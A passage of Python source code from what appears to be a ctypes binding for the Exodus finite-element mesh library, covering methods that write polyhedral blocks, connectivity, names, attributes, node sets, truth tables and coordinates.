EXODUS_LIB.ex_put_block(self.fileId, ebType, ctypes.c_longlong(blkID),\n                                ctypes.create_string_buffer(b\"NFACED\"),\n                                ctypes.c_longlong(num_elems_this_blk),\n                                ctypes.c_longlong(0),\n                                ctypes.c_longlong(0),\n                                ctypes.c_longlong(num_faces),\n                                ctypes.c_longlong(num_attr_per_elem))\n        return True\n\n    # --------------------------------------------------------------------\n\n    def put_polyhedra_face_blk(self, blkID,\n                               num_faces_this_blk,\n                               num_nodes,\n                               num_attr_per_face):\n        \"\"\"\n        put in a block of faces\n\n        >>> status = exo.put_polyhedra_face_blk(blkID, num_faces_this_blk,\n        ...                                     num_nodes, num_attr_per_face)\n\n        Parameters\n        ----------\n            <int>     blkID               id of the block to be added\n            <int>     num_faces_this_blk\n            <int>     num_nodes           total number of nodes in this block\n            <int>     num_attr_per_face\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        fbType = ctypes.c_int(get_entity_type('EX_FACE_BLOCK'))\n        EXODUS_LIB.ex_put_block(self.fileId, fbType, ctypes.c_longlong(blkID),\n                                ctypes.create_string_buffer(b\"NSIDED\"),\n                                ctypes.c_longlong(num_faces_this_blk),\n                                ctypes.c_longlong(num_nodes),\n                                ctypes.c_longlong(0),\n                                ctypes.c_longlong(0),\n                                ctypes.c_longlong(num_attr_per_face))\n        return True\n\n    # --------------------------------------------------------------------\n\n    def put_face_count_per_polyhedra(self, blkID, entityCounts):\n        \"\"\"\n        put in a count of faces in for each polyhedra in an elem block\n\n        >>> status = exo.put_face_count_per_polyhedra(blkID, entityCounts)\n\n        Parameters\n        ----------\n            <int>     blkID               id of the block to be added\n\n            if array_type == 'ctype':\n              <list<float>>  entityCounts\n\n            if array_type == 'numpy':\n              <np_array<double>>  entityCounts\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        ebType = ctypes.c_int(get_entity_type('EX_ELEM_BLOCK'))\n        entity_counts = (ctypes.c_int * len(entityCounts))()\n        entity_counts[:] = entityCounts\n        EXODUS_LIB.ex_put_entity_count_per_polyhedra(\n            self.fileId, ebType, ctypes.c_longlong(blkID), entity_counts)\n        return True\n\n    # --------------------------------------------------------------------\n\n    def put_node_count_per_face(self, blkID, entityCounts):\n        \"\"\"\n        put in a count of nodes in for each face in a polygonal face block\n\n        >>> status = exo.put_node_count_per_face(blkID, entityCounts)\n\n        Parameters\n        ----------\n            <int>     blkID               id of the block to be added\n\n            if array_type == 'ctype':\n              <list<float>>  entityCounts\n\n            if array_type == 'numpy':\n              <np_array<double>>  entityCounts\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        ebType = ctypes.c_int(get_entity_type('EX_FACE_BLOCK'))\n        entity_counts = (ctypes.c_int * len(entityCounts))()\n        entity_counts[:] = entityCounts\n        EXODUS_LIB.ex_put_entity_count_per_polyhedra(\n            self.fileId, ebType, ctypes.c_longlong(blkID), entity_counts)\n        return True\n\n    # --------------------------------------------------------------------\n\n    def put_elem_face_conn(self, blkId, elemFaceConn):\n        \"\"\"\n        put in connectivity information from elems to faces\n\n        >>> status = exo.put_elem_face_conn(blkID, elemFaceConn)\n\n        Parameters\n        ----------\n            <int>     blkID               id of the elem block to be added\n\n            if array_type == 'ctype':\n              <list<float>>  elemFaceConn  (raveled/flat list)\n\n            if array_type == 'numpy':\n              <np_array<double>>  elemFaceConn  (raveled/flat array)\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        ebType = ctypes.c_int(get_entity_type('EX_ELEM_BLOCK'))\n        elem_face_conn = (ctypes.c_int * len(elemFaceConn))()\n        elem_face_conn[:] = elemFaceConn\n        EXODUS_LIB.ex_put_conn(self.fileId, ebType, ctypes.c_longlong(blkId),\n                               None, None, elem_face_conn)\n        return True\n\n    # --------------------------------------------------------------------\n\n    def put_face_node_conn(self, blkId, faceNodeConn):\n        \"\"\"\n        put in connectivity information from faces to nodes\n\n        >>> status = exo.put_face_node_conn(blkID, faceNodeConn)\n\n        Parameters\n        ----------\n            <int>     blkID               id of the face block to be added\n\n            if array_type == 'ctype':\n              <list<float>>  faceNodeConn  (raveled/flat list)\n\n            if array_type == 'numpy':\n              <np_array<double>>  faceNodeConn  (raveled/flat array)\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        ebType = ctypes.c_int(get_entity_type('EX_FACE_BLOCK'))\n        node_conn = (ctypes.c_int * len(faceNodeConn))()\n        node_conn[:] = faceNodeConn\n        EXODUS_LIB.ex_put_conn(self.fileId, ebType, ctypes.c_longlong(blkId),\n                               node_conn, None, None)\n        return True\n\n    # --------------------------------------------------------------------\n\n    def close(self):\n        \"\"\"\n        close the exodus file\n\n        >>> exo.close()\n\n        Note:\n        -----\n        Can only be called once for an exodus object, and once called\n        all methods for that object become inoperable\n        \"\"\"\n        print(f\"Closing exodus file: {self.fileName}\")\n        errorInt = EXODUS_LIB.ex_close(self.fileId)\n        if errorInt != 0:\n            raise Exception(\n                \"ERROR: Closing file \" + self.fileName + \" had problems.\")\n\n    # --------------------------------------------------------------------\n    #\n    # Private Exodus API calls\n    #\n    # --------------------------------------------------------------------\n\n    def __open(self, io_size=0):\n        print(f\"Opening exodus file: {self.fileName}\")\n        self.mode = EX_READ\n        if self.modeChar.lower() == \"a\":\n            self.mode = EX_WRITE\n        if self.modeChar.lower() == \"w+\":\n            self.mode = EX_CLOBBER\n\n        if self.modeChar.lower() in [\n                \"a\", \"r\"] and not os.path.isfile(self.fileName):\n            raise Exception(\n                \"ERROR: Cannot open \" + self.fileName + \" for read. Does not exist.\")\n        elif self.modeChar.lower() == \"w\" and os.path.isfile(self.fileName):\n            raise Exception(f\"ERROR: Cowardly not opening {self.fileName} for write. File already exists.\")\n\n        elif self.modeChar.lower() not in [\"a\", \"r\", \"w\", \"w+\"]:\n            raise Exception(\n                \"ERROR: File open mode \" + self.modeChar + \" unrecognized.\")\n\n        self.comp_ws = ctypes.c_int(8)\n        self.io_ws = ctypes.c_int(io_size)\n        self.version = ctypes.c_float(0.0)\n        if self.modeChar.lower() in [\"a\", \"r\"]:  # open existing file\n            self.fileId = EXODUS_LIB.ex_open_int(self.fileName.encode('ascii'), self.mode,\n                                                 ctypes.byref(self.comp_ws),\n                                                 ctypes.byref(self.io_ws),\n                                                 ctypes.byref(self.version),\n                                                 EX_API_VERSION_NODOT)\n        else:  # create file\n            if io_size == 0:\n                io_size = 8\n                self.io_ws = ctypes.c_int(io_size)\n            self.__create()\n\n    # --------------------------------------------------------------------\n\n    def __create(self):\n        self.fileId = EXODUS_LIB.ex_create_int(self.fileName.encode('ascii'), self.mode,\n                                               ctypes.byref(self.comp_ws),\n                                               ctypes.byref(self.io_ws),\n                                               EX_API_VERSION_NODOT)\n\n    # --------------------------------------------------------------------\n\n    def __ex_get_info(self):\n        self.Title = ctypes.create_string_buffer(MAX_LINE_LENGTH + 1)\n        if EXODUS_LIB.ex_int64_status(self.fileId) & EX_BULK_INT64_API:\n            self.numDim = ctypes.c_longlong(0)\n            self.numNodes = ctypes.c_longlong(0)\n            self.numElem = ctypes.c_longlong(0)\n            self.numElemBlk = ctypes.c_longlong(0)\n            self.numNodeSets = ctypes.c_longlong(0)\n            self.numSideSets = ctypes.c_longlong(0)\n            self.numAssembly = ctypes.c_longlong(0)\n            self.numBlob = ctypes.c_longlong(0)\n        else:\n            self.numDim = ctypes.c_int(0)\n            self.numNodes = ctypes.c_int(0)\n            self.numElem = ctypes.c_int(0)\n            self.numElemBlk = ctypes.c_int(0)\n            self.numNodeSets = ctypes.c_int(0)\n            self.numSideSets = ctypes.c_int(0)\n            self.numAssembly = ctypes.c_int(0)\n            self.numBlob = ctypes.c_int(0)\n        EXODUS_LIB.ex_get_init(\n            self.fileId, self.Title,\n            ctypes.byref(self.numDim),\n            ctypes.byref(self.numNodes),\n            ctypes.byref(self.numElem),\n            ctypes.byref(self.numElemBlk),\n            ctypes.byref(self.numNodeSets),\n            ctypes.byref(self.numSideSets))\n\n    # --------------------------------------------------------------------\n\n    def __ex_put_info(self, info):\n        self.Title = ctypes.create_string_buffer(info[0].encode('ascii'), MAX_LINE_LENGTH + 1)\n        self.numDim = ctypes.c_longlong(info[1])\n        self.numNodes = ctypes.c_longlong(info[2])\n        self.numElem = ctypes.c_longlong(info[3])\n        self.numElemBlk = ctypes.c_longlong(info[4])\n        self.numNodeSets = ctypes.c_longlong(info[5])\n        self.numSideSets = ctypes.c_longlong(info[6])\n        EXODUS_LIB.ex_put_init(\n            self.fileId,\n            self.Title,\n            self.numDim,\n            self.numNodes,\n            self.numElem,\n            self.numElemBlk,\n            self.numNodeSets,\n            self.numSideSets)\n        self.version = self.__ex_inquire_float(ex_inquiry_map('EX_INQ_DB_VERS'))\n\n    # --------------------------------------------------------------------\n\n    def __ex_put_concat_elem_blk(self, elemBlkIDs, elemType, numElemThisBlk,\n                                 numNodesPerElem, numAttr, defineMaps):\n        if EXODUS_LIB.ex_int64_status(self.fileId) & EX_IDS_INT64_API:\n            elem_blk_ids = (ctypes.c_longlong * len(elemBlkIDs))()\n            elem_blk_ids[:] = elemBlkIDs\n            num_elem_this_blk = (ctypes.c_longlong * len(elemBlkIDs))()\n            num_elem_this_blk[:] = numElemThisBlk\n            num_nodes_per_elem = (ctypes.c_longlong * len(elemBlkIDs))()\n            num_nodes_per_elem[:] = numNodesPerElem\n            num_attr = (ctypes.c_longlong * len(elemBlkIDs))()\n        else:\n            elem_blk_ids = (ctypes.c_int * len(elemBlkIDs))()\n            elem_blk_ids[:] = elemBlkIDs\n            num_elem_this_blk = (ctypes.c_int * len(elemBlkIDs))()\n            num_elem_this_blk[:] = numElemThisBlk\n            num_nodes_per_elem = (ctypes.c_int * len(elemBlkIDs))()\n            num_nodes_per_elem[:] = numNodesPerElem\n            num_attr = (ctypes.c_int * len(elemBlkIDs))()\n        num_attr[:] = numAttr\n        elem_type = (ctypes.c_char_p * len(elemBlkIDs))()\n        elem_type[:] = elemType\n        define_maps = ctypes.c_int(defineMaps)\n        EXODUS_LIB.ex_put_concat_elem_block(\n            self.fileId,\n            elem_blk_ids,\n            elem_type,\n            num_elem_this_blk,\n            num_nodes_per_elem,\n            num_attr,\n            define_maps)\n\n    # --------------------------------------------------------------------\n\n    def __ex_get_qa(self):\n        num_qa_recs = ctypes.c_int(self.__ex_inquire_int(ex_inquiry_map('EX_INQ_QA')))\n        qa_rec_ptrs = ((ctypes.POINTER(ctypes.c_char * (MAX_STR_LENGTH + 1)) * 4) * num_qa_recs.value)()\n        for i in range(num_qa_recs.value):\n            for j in range(4):\n                qa_rec_ptrs[i][j] = ctypes.pointer(\n                    ctypes.create_string_buffer(MAX_STR_LENGTH + 1))\n        if num_qa_recs.value:\n            EXODUS_LIB.ex_get_qa(self.fileId, ctypes.byref(qa_rec_ptrs))\n        qa_recs = []\n        for qara in qa_rec_ptrs:\n            qa_rec_list = [ptr.contents.value.decode(\"utf8\") for ptr in qara]\n            qa_rec_tuple = tuple(qa_rec_list)\n            assert len(qa_rec_tuple) == 4\n            qa_recs.append(qa_rec_tuple)\n        return qa_recs\n\n    # --------------------------------------------------------------------\n\n    def __ex_put_qa(self, qaRecs):\n        num_qa_recs = ctypes.c_int(len(qaRecs))\n        qa_rec_ptrs = ((ctypes.POINTER(ctypes.c_char * (MAX_STR_LENGTH + 1)) * 4) * num_qa_recs.value)()\n        for i in range(num_qa_recs.value):\n            for j in range(4):\n                qa_rec_ptrs[i][j] = ctypes.pointer(ctypes.create_string_buffer(\n                    str(qaRecs[i][j]).encode('ascii'), MAX_STR_LENGTH + 1))\n        EXODUS_LIB.ex_put_qa(self.fileId, num_qa_recs, ctypes.byref(qa_rec_ptrs))\n        return True\n\n    # --------------------------------------------------------------------\n\n    def _ex_get_info_recs_quietly(self):\n        num_infos = ctypes.c_int(self.__ex_inquire_int(ex_inquiry_map('EX_INQ_INFO')))\n        info_ptrs = (ctypes.POINTER(ctypes.c_char * (MAX_LINE_LENGTH + 1)) * num_infos.value)()\n        for i in range(num_infos.value):\n            info_ptrs[i] = ctypes.pointer(ctypes.create_string_buffer(MAX_LINE_LENGTH + 1))\n        if num_infos.value:\n            EXODUS_LIB.ex_get_info(self.fileId, ctypes.byref(info_ptrs))\n        return [irp.contents.value.decode(\"utf8\") for irp in info_ptrs]\n\n    # --------------------------------------------------------------------\n\n    def __ex_get_info_recs(self):\n        num_infos = ctypes.c_int(self.__ex_inquire_int(ex_inquiry_map('EX_INQ_INFO')))\n        info_ptrs = (ctypes.POINTER(ctypes.c_char * (MAX_LINE_LENGTH + 1)) * num_infos.value)()\n        for i in range(num_infos.value):\n            info_ptrs[i] = ctypes.pointer(ctypes.create_string_buffer(MAX_LINE_LENGTH + 1))\n        EXODUS_LIB.ex_get_info(self.fileId, ctypes.byref(info_ptrs))\n        info_recs = [irp.contents.value.decode(\"utf8\") for irp in info_ptrs]\n        for rec in info_recs:\n            if len(rec) > MAX_LINE_LENGTH:\n                print(\"WARNING: max line length reached for one or more info records;\")\n                print(\"         info might be incomplete for these records\")\n                break\n        return info_recs\n\n    # --------------------------------------------------------------------\n\n    def __ex_put_info_recs(self, infoRecs):\n        num_infos = ctypes.c_int(len(infoRecs))\n        info_ptrs = (ctypes.POINTER(ctypes.c_char * (MAX_LINE_LENGTH + 1)) * num_infos.value)()\n        for i in range(num_infos.value):\n            info_ptrs[i] = ctypes.pointer(ctypes.create_string_buffer(\n                str(infoRecs[i]).encode('ascii'), MAX_LINE_LENGTH + 1))\n        EXODUS_LIB.ex_put_info(self.fileId, num_infos, ctypes.byref(info_ptrs))\n        return True\n\n    # --------------------------------------------------------------------\n\n    def __ex_inquire_float(self, inq_id):\n        dummy_char = ctypes.create_string_buffer(MAX_LINE_LENGTH + 1)\n        ret_float = ctypes.c_float(0.0)\n        if EXODUS_LIB.ex_int64_status(self.fileId) & EX_INQ_INT64_API:\n            dummy_int = ctypes.c_longlong(0)\n        else:\n            dummy_int = ctypes.c_int(0)\n        val = EXODUS_LIB.ex_inquire(\n            self.fileId,\n            inq_id,\n            ctypes.byref(dummy_int),\n            ctypes.byref(ret_float),\n            dummy_char)\n        if val < 0:\n            raise Exception(\n                \"ERROR: ex_inquire(\" + str(inq_id) + \") failed on \" + self.fileName)\n        return ret_float\n\n    # --------------------------------------------------------------------\n\n    def __ex_inquire_int(self, inq_id):\n        val = EXODUS_LIB.ex_inquire_int(self.fileId, inq_id)\n        if val < 0:\n            raise Exception(\n                \"ERROR: ex_inquire_int(\" + str(inq_id) + \") failed on \" + self.fileName)\n        return val\n\n    # --------------------------------------------------------------------\n\n    def __ex_get_coord_names(self):\n        coord_name_ptrs = (\n            ctypes.POINTER(ctypes.c_char * (MAX_NAME_LENGTH + 1)) * self.numDim.value)()\n        for i in range(self.numDim.value):\n            coord_name_ptrs[i] = ctypes.pointer(\n                ctypes.create_string_buffer(\n                    MAX_NAME_LENGTH + 1))\n        EXODUS_LIB.ex_get_coord_names(self.fileId, ctypes.byref(coord_name_ptrs))\n        return [cnp.contents.value.decode('utf8') for cnp in coord_name_ptrs]\n\n    # --------------------------------------------------------------------\n\n    def __ex_put_coord_names(self, names):\n        coord_name_ptrs = (\n            ctypes.POINTER(ctypes.c_char * (MAX_NAME_LENGTH + 1)) * self.numDim.value)()\n        assert len(names) == self.numDim.value\n        for i in range(self.numDim.value):\n            coord_name_ptrs[i] = ctypes.pointer(\n                ctypes.create_string_buffer(\n                    names[i].encode('ascii'), MAX_NAME_LENGTH + 1))\n        EXODUS_LIB.ex_put_coord_names(self.fileId, ctypes.byref(coord_name_ptrs))\n\n    # --------------------------------------------------------------------\n\n    def __ex_get_all_times(self):\n        self.times = (ctypes.c_double * self.numTimes.value)()\n        EXODUS_LIB.ex_get_all_times(self.fileId, ctypes.byref(self.times))\n\n    # --------------------------------------------------------------------\n\n    def __ex_get_time(self, timeStep):\n        time_step = ctypes.c_int(timeStep)\n        time_val = ctypes.c_double(0.0)\n        EXODUS_LIB.ex_get_time(self.fileId, time_step, ctypes.byref(time_val))\n        return time_val.value()\n\n    # --------------------------------------------------------------------\n\n    def __ex_put_time(self, timeStep, timeVal):\n        time_step = ctypes.c_int(timeStep)\n        time_val = ctypes.c_double(timeVal)\n        EXODUS_LIB.ex_put_time(self.fileId, time_step, ctypes.byref(time_val))\n        return True\n\n    # --------------------------------------------------------------------\n\n    def __ex_get_name(self, objType, objId):\n        obj_type = ctypes.c_int(get_entity_type(objType))\n        obj_id = ctypes.c_longlong(objId)\n        obj_name = ctypes.create_string_buffer(MAX_NAME_LENGTH + 1)\n        EXODUS_LIB.ex_get_name(self.fileId, obj_type, obj_id, ctypes.byref(obj_name))\n        return obj_name.value.decode('utf8')\n\n    # --------------------------------------------------------------------\n\n    def __ex_put_name(self, objType, objId, objName):\n        obj_type = ctypes.c_int(get_entity_type(objType))\n        obj_id = ctypes.c_longlong(objId)\n        obj_name = ctypes.create_string_buffer(objName.encode('ascii'), MAX_NAME_LENGTH + 1)\n        EXODUS_LIB.ex_put_name(self.fileId, obj_type, obj_id, obj_name)\n\n    # --------------------------------------------------------------------\n\n    def __ex_get_names(self, objType):\n        inqType = ex_inquiry_map(ex_obj_to_inq(objType))\n        num_objs = ctypes.c_int(self.__ex_inquire_int(inqType)).value\n        obj_name_ptrs = (ctypes.POINTER(ctypes.c_char * (MAX_NAME_LENGTH + 1)) * num_objs)()\n        for i in range(num_objs):\n            obj_type = ctypes.c_int(get_entity_type(objType))\n            obj_name_ptrs[i] = ctypes.pointer(\n                ctypes.create_string_buffer(\n                    MAX_NAME_LENGTH + 1))\n\n        EXODUS_LIB.ex_get_names(self.fileId, obj_type, ctypes.byref(obj_name_ptrs))\n        return [onp.contents.value.decode('utf8') for onp in obj_name_ptrs]\n\n    def __ex_put_names(self, objType, objNames):\n        inqType = ex_inquiry_map(ex_obj_to_inq(objType))\n        numObjs = ctypes.c_int(self.__ex_inquire_int(inqType)).value\n        assert numObjs == len(objNames)\n        obj_name_ptrs = (ctypes.POINTER(ctypes.c_char * (MAX_NAME_LENGTH + 1)) * numObjs)()\n        obj_type = ctypes.c_int(get_entity_type(objType))\n        for i in range(numObjs):\n            obj_name_ptrs[i] = ctypes.pointer(\n                ctypes.create_string_buffer(\n                    objNames[i].encode('ascii'), MAX_NAME_LENGTH + 1))\n        EXODUS_LIB.ex_put_names(self.fileId, obj_type, ctypes.byref(obj_name_ptrs))\n\n    def __ex_get_ids(self, objType):\n        inqType = ex_inquiry_map(ex_obj_to_inq(objType))\n        numObjs = ctypes.c_int(self.__ex_inquire_int(inqType)).value\n        if EXODUS_LIB.ex_int64_status(self.fileId) & EX_IDS_INT64_API:\n            ids = (ctypes.c_longlong * numObjs)()\n        else:\n            ids = (ctypes.c_int * numObjs)()\n        if numObjs > 0:\n            obj_type = ctypes.c_int(get_entity_type(objType))\n            EXODUS_LIB.ex_get_ids(self.fileId, obj_type, ctypes.byref(ids))\n        return ids\n\n    def __ex_get_assembly(self, assem_struct):\n        EXODUS_LIB.ex_get_assembly(self.fileId, ctypes.byref(assem_struct))\n        ptr = ctypes.create_string_buffer(MAX_NAME_LENGTH + 1)\n        assem_struct.name = ctypes.cast(ptr, ctypes.c_char_p)\n        eptr = (ctypes.c_longlong * assem_struct.entity_count)()\n        assem_struct.entity_list = eptr\n        EXODUS_LIB.ex_get_assembly(self.fileId, ctypes.byref(assem_struct))\n\n    def __ex_get_assemblies(self, assem_list):\n        EXODUS_LIB.ex_get_assemblies(self.fileId, assem_list)\n        for assem_struct in assem_list:\n            ptr = ctypes.create_string_buffer(MAX_NAME_LENGTH + 1)\n            assem_struct.name = ctypes.cast(ptr, ctypes.c_char_p)\n            eptr = (ctypes.c_longlong * assem_struct.entity_count)()\n            assem_struct.entity_list = eptr\n        EXODUS_LIB.ex_get_assemblies(self.fileId, assem_list)\n\n    def __ex_get_blob(self, blob_struct):\n        EXODUS_LIB.ex_get_blob(self.fileId, ctypes.byref(blob_struct))\n        ptr = ctypes.create_string_buffer(MAX_NAME_LENGTH + 1)\n        blob_struct.name = ctypes.cast(ptr, ctypes.c_char_p)\n        EXODUS_LIB.ex_get_blob(self.fileId, ctypes.byref(blob_struct))\n\n    def __ex_put_assembly(self, assembly):\n        assem = setup_ex_assembly(assembly)\n        EXODUS_LIB.ex_put_assembly(self.fileId, assem)\n\n    def __ex_put_assemblies(self, assemblies):\n        assembly_list = []\n        for assembly in assemblies:\n            assem = setup_ex_assembly(assembly)\n            assembly_list.append(assem)\n        assems = (ex_assembly * len(assemblies))(*assembly_list)\n\n        EXODUS_LIB.ex_put_assemblies(self.fileId, len(assembly_list), assems)\n\n    def __ex_get_attribute_count(self, objType, objId):\n        # Get attribute count...\n        obj_type = ctypes.c_int(get_entity_type(objType))\n        obj_id = ctypes.c_longlong(objId)\n        return EXODUS_LIB.ex_get_attribute_count(self.fileId, obj_type, obj_id)\n\n    def __ex_get_attributes(self, objType, objId):\n        # Get attribute count...\n        obj_type = ctypes.c_int(get_entity_type(objType))\n        obj_id = ctypes.c_longlong(objId)\n        att_count = EXODUS_LIB.ex_get_attribute_count(self.fileId, obj_type, obj_id)\n\n        attributes = {}\n        if att_count > 0:\n            att = (ex_attribute * att_count)()\n            EXODUS_LIB.ex_get_attribute_param(self.fileId, obj_type, obj_id, ctypes.byref(att))\n            for i in range(att_count):\n                EXODUS_LIB.ex_get_attribute(self.fileId, ctypes.byref(att[i]))\n                tmp_att = attribute(att[i].name.decode('utf8'), att[i].entity_type, att[i].entity_id)\n\n                if (att[i].type == 2):\n                    vals = ctypes.cast(att[i].values, ctypes.POINTER(ctypes.c_char))\n                    tmp = [vals[j] for j in range(att[i].value_count - 1)]\n                    tmp_att.values = b''.join(tmp).decode('utf8')\n\n                if (att[i].type == 4):\n                    vals = ctypes.cast(att[i].values, ctypes.POINTER(ctypes.c_int))\n                    for j in range(att[i].value_count):\n                        tmp_att.values.append(vals[j])\n\n                if (att[i].type == 6):\n                    vals = ctypes.cast(att[i].values, ctypes.POINTER(ctypes.c_double))\n                    for j in range(att[i].value_count):\n                        tmp_att.values.append(vals[j])\n\n                attributes[att[i].name.decode('utf8')] = tmp_att\n\n        return attributes\n\n    def __ex_put_attribute(self, attribute):\n        att_id = ctypes.c_longlong(attribute.entity_id)\n        att = ex_attribute(entity_id=att_id)\n        att.name = attribute.name.encode('ascii')\n        att.entity_type = ctypes.c_int(get_entity_type(attribute.entity_type))\n        att.value_count = len(attribute.values)\n\n        if (isinstance(attribute.values[0], int)):\n            eptr = (ctypes.c_int * len(attribute.values))()\n            for i in range(len(attribute.values)):\n                eptr[i] = ctypes.c_int(attribute.values[i])\n            att.values = ctypes.cast(eptr, ctypes.c_void_p)\n            att.type = 4\n\n        elif (isinstance(attribute.values[0], float)):\n            eptr = (ctypes.c_double * len(attribute.values))()\n            for i in range(len(attribute.values)):\n                eptr[i] = ctypes.c_double(attribute.values[i])\n            att.values = ctypes.cast(eptr, ctypes.c_void_p)\n            att.type = 6\n\n        elif (isinstance(attribute.values[0], str)):\n            eptr = (ctypes.c_char * (len(attribute.values) + 1))()\n            eptr = attribute.values[0].encode('ascii')\n            att.values = ctypes.cast(eptr, ctypes.c_void_p)\n            att.type = 2\n\n        EXODUS_LIB.ex_put_attribute(self.fileId, att)\n\n    def __ex_get_node_set(self, nodeSetId):\n        node_set_id = ctypes.c_longlong(nodeSetId)\n        num_node_set_nodes = self.__ex_get_set_param('EX_NODE_SET', nodeSetId)[0]\n        if num_node_set_nodes == 0:\n            return []\n        if EXODUS_LIB.ex_int64_status(self.fileId) & EX_BULK_INT64_API:\n            set_nodes = (ctypes.c_longlong * num_node_set_nodes)()\n        else:\n            set_nodes = (ctypes.c_int * num_node_set_nodes)()\n        EXODUS_LIB.ex_get_set(self.fileId, ctypes.c_int(get_entity_type('EX_NODE_SET')), node_set_id, ctypes.byref(set_nodes), None)\n        return set_nodes\n\n    def __ex_put_node_set(self, nodeSetId, nodeSetNodes):\n        node_set_id = ctypes.c_longlong(nodeSetId)\n        if EXODUS_LIB.ex_int64_status(self.fileId) & EX_BULK_INT64_API:\n            node_set_nodes = (ctypes.c_longlong * len(nodeSetNodes))()\n            for i, node_set_node in enumerate(nodeSetNodes):\n                node_set_nodes[i] = ctypes.c_longlong(node_set_node)\n        else:\n            node_set_nodes = (ctypes.c_int * len(nodeSetNodes))()\n            for i, node_set_node in enumerate(nodeSetNodes):\n                node_set_nodes[i] = ctypes.c_int(node_set_node)\n        EXODUS_LIB.ex_put_set(self.fileId, ctypes.c_int(get_entity_type('EX_NODE_SET')), node_set_id, node_set_nodes, None)\n\n    def __ex_get_node_set_dist_fact(self, nodeSetId):\n        node_set_id = ctypes.c_longlong(nodeSetId)\n        num_node_set_nodes = self.__ex_get_set_param('EX_NODE_SET', nodeSetId)[0]\n        set_dfs = (ctypes.c_double * num_node_set_nodes)()\n        EXODUS_LIB.ex_get_node_set_dist_fact(\n            self.fileId, node_set_id, ctypes.byref(set_dfs))\n        return set_dfs\n\n    def __ex_put_node_set_dist_fact(self, nodeSetId, nodeSetDistFact):\n        node_set_id = ctypes.c_longlong(nodeSetId)\n        node_set_dist_fact = (ctypes.c_double * len(nodeSetDistFact))()\n        for i, dist_fact in enumerate(nodeSetDistFact):\n            node_set_dist_fact[i] = ctypes.c_double(dist_fact)\n        EXODUS_LIB.ex_put_node_set_dist_fact(\n            self.fileId, node_set_id, node_set_dist_fact)\n\n    def __ex_get_object_truth_vector(self, objType, entId):\n        obj_type = ctypes.c_int(get_entity_type(objType))\n        entity_id = ctypes.c_longlong(entId)\n        variable_count = self.__ex_get_variable_param(objType)\n        truth_table = (ctypes.c_int * (variable_count.value))()\n\n        EXODUS_LIB.ex_get_object_truth_vector(self.fileId, obj_type,\n                                              entity_id, variable_count,\n                                              ctypes.byref(truth_table))\n        truthTab = []\n        for val in truth_table:\n            if val:\n                truthTab.append(True)\n            else:\n                truthTab.append(False)\n        return truthTab\n\n    def __ex_get_truth_table(self, objType):\n        inqType = ex_inquiry_map(ex_obj_to_inq(objType))\n        num_objs = ctypes.c_int(self.__ex_inquire_int(inqType)).value\n\n        obj_type = ctypes.c_int(get_entity_type(objType))\n        variable_count = self.__ex_get_variable_param(objType)\n\n        truth_table = (ctypes.c_int * (num_objs * variable_count.value))()\n        EXODUS_LIB.ex_get_truth_table(self.fileId, obj_type,\n                                      num_objs, variable_count,\n                                      ctypes.byref(truth_table))\n        truthTab = []\n        for val in truth_table:\n            if val:\n                truthTab.append(True)\n            else:\n                truthTab.append(False)\n        return truthTab\n\n    def __ex_put_truth_table(self, objType, truthTab):\n        inqType = ex_inquiry_map(ex_obj_to_inq(objType))\n        num_objs = ctypes.c_int(self.__ex_inquire_int(inqType)).value\n\n        obj_type = ctypes.c_int(get_entity_type(objType))\n        num_vars = self.__ex_get_variable_param(objType).value\n\n        assert len(truthTab) == (num_objs * num_vars)\n\n        truth_tab = (ctypes.c_int * (num_objs * num_vars))()\n        for i, boolVal in enumerate(truthTab):\n            truth_tab[i] = ctypes.c_int(1) if boolVal else ctypes.c_int(0)\n        EXODUS_LIB.ex_put_truth_table(\n            self.fileId, obj_type, num_objs, num_vars, truth_tab)\n        return True\n\n    def __ex_get_coord(self):\n        self.coordsX = (ctypes.c_double * self.numNodes.value)()\n        self.coordsY = (ctypes.c_double * self.numNodes.value)()\n        self.coordsZ = (ctypes.c_double * self.numNodes.value)()\n        EXODUS_LIB.ex_get_coord(\n            self.fileId,\n            ctypes.byref(self.coordsX),\n            ctypes.byref(self.coordsY),\n            ctypes.byref(self.coordsZ))\n\n    def __ex_put_coord(self, xCoords, yCoords, zCoords):\n        self.coordsX = (ctypes.c_double * self.numNodes.value)()\n        self.coordsY = (ctypes.c_double * self.numNodes.value)()\n        self.coordsZ = (ctypes.c_double * self.numNodes.value)()\n        for i in range(self.numNodes.value):\n            self.coordsX[i] = float(xCoords[i])\n            self.coordsY[i] = float(yCoords[i])\n            self.coordsZ[i] = float(zCoords[i])\n        EXODUS_LIB.ex_put_coord(\n            self.fileId,\n            ctypes.byref(self.coordsX),\n            ctypes.byref(self.coordsY),\n            ctypes.byref(self.coordsZ))\n\n    def __ex_get_partial_coord(self, startNodeId, numNodes):\n        start_node_num = ctypes.c_longlong(startNodeId)\n        num_nodes = ctypes.c_longlong(numNodes)\n        coordsX = (ctypes.c_double * numNodes)()\n        coordsY = (ctypes.c_double * numNodes)()\n        coordsZ = (ctypes.c_double * numNodes)()\n        EXODUS_LIB.ex_get_partial_coord(\n            self.fileId,\n            start_node_num,\n            num_nodes,\n            ctypes.byref(coordsX),\n            ctypes.byref(coordsY),\n            ctypes.byref(coordsZ))\n        return list(coordsX), list(coordsY), list(coordsZ)\n\n    def __ex_get_id_map(self, objType):\n        inqType = ex_obj_to_inq(objType)\n        obj_type = ctypes.c_int(get_entity_type(objType))\n        inq_type = ctypes.c_int(ex_inquiry_map(inqType))\n        num_objs = ctypes.c_int(self.__ex_inquire_int(inq_type))\n        numObjs = num_objs.value\n        if EXODUS_LIB.ex_int64_status(self.fileId) & EX_IDS_INT64_API:\n            id_map = (ctypes.c_longlong * numObjs)()\n        else:\n            id_map = (ctypes.c_int * numObjs)()\n        EXODUS_LIB.ex_get_id_map(self.fileId, obj_type, ctypes.byref(id_map))\n        idMap = [id_map[i] for i in range(numObjs)]\n        if self.use_numpy:\n            idMap = self.np.array(idMap)\n        return idMap\n\n    def __ex_get_num_map(self, objType, idx):\n        inqType = ex_obj_to_inq(objType)\n        map_id = ctypes.c_longlong(idx)\n        obj_type = ctypes.c_int(get_entity_type(objType))\n        inq_type = ctypes.c_int(ex_inquiry_map(inqType))\n        num_objs = 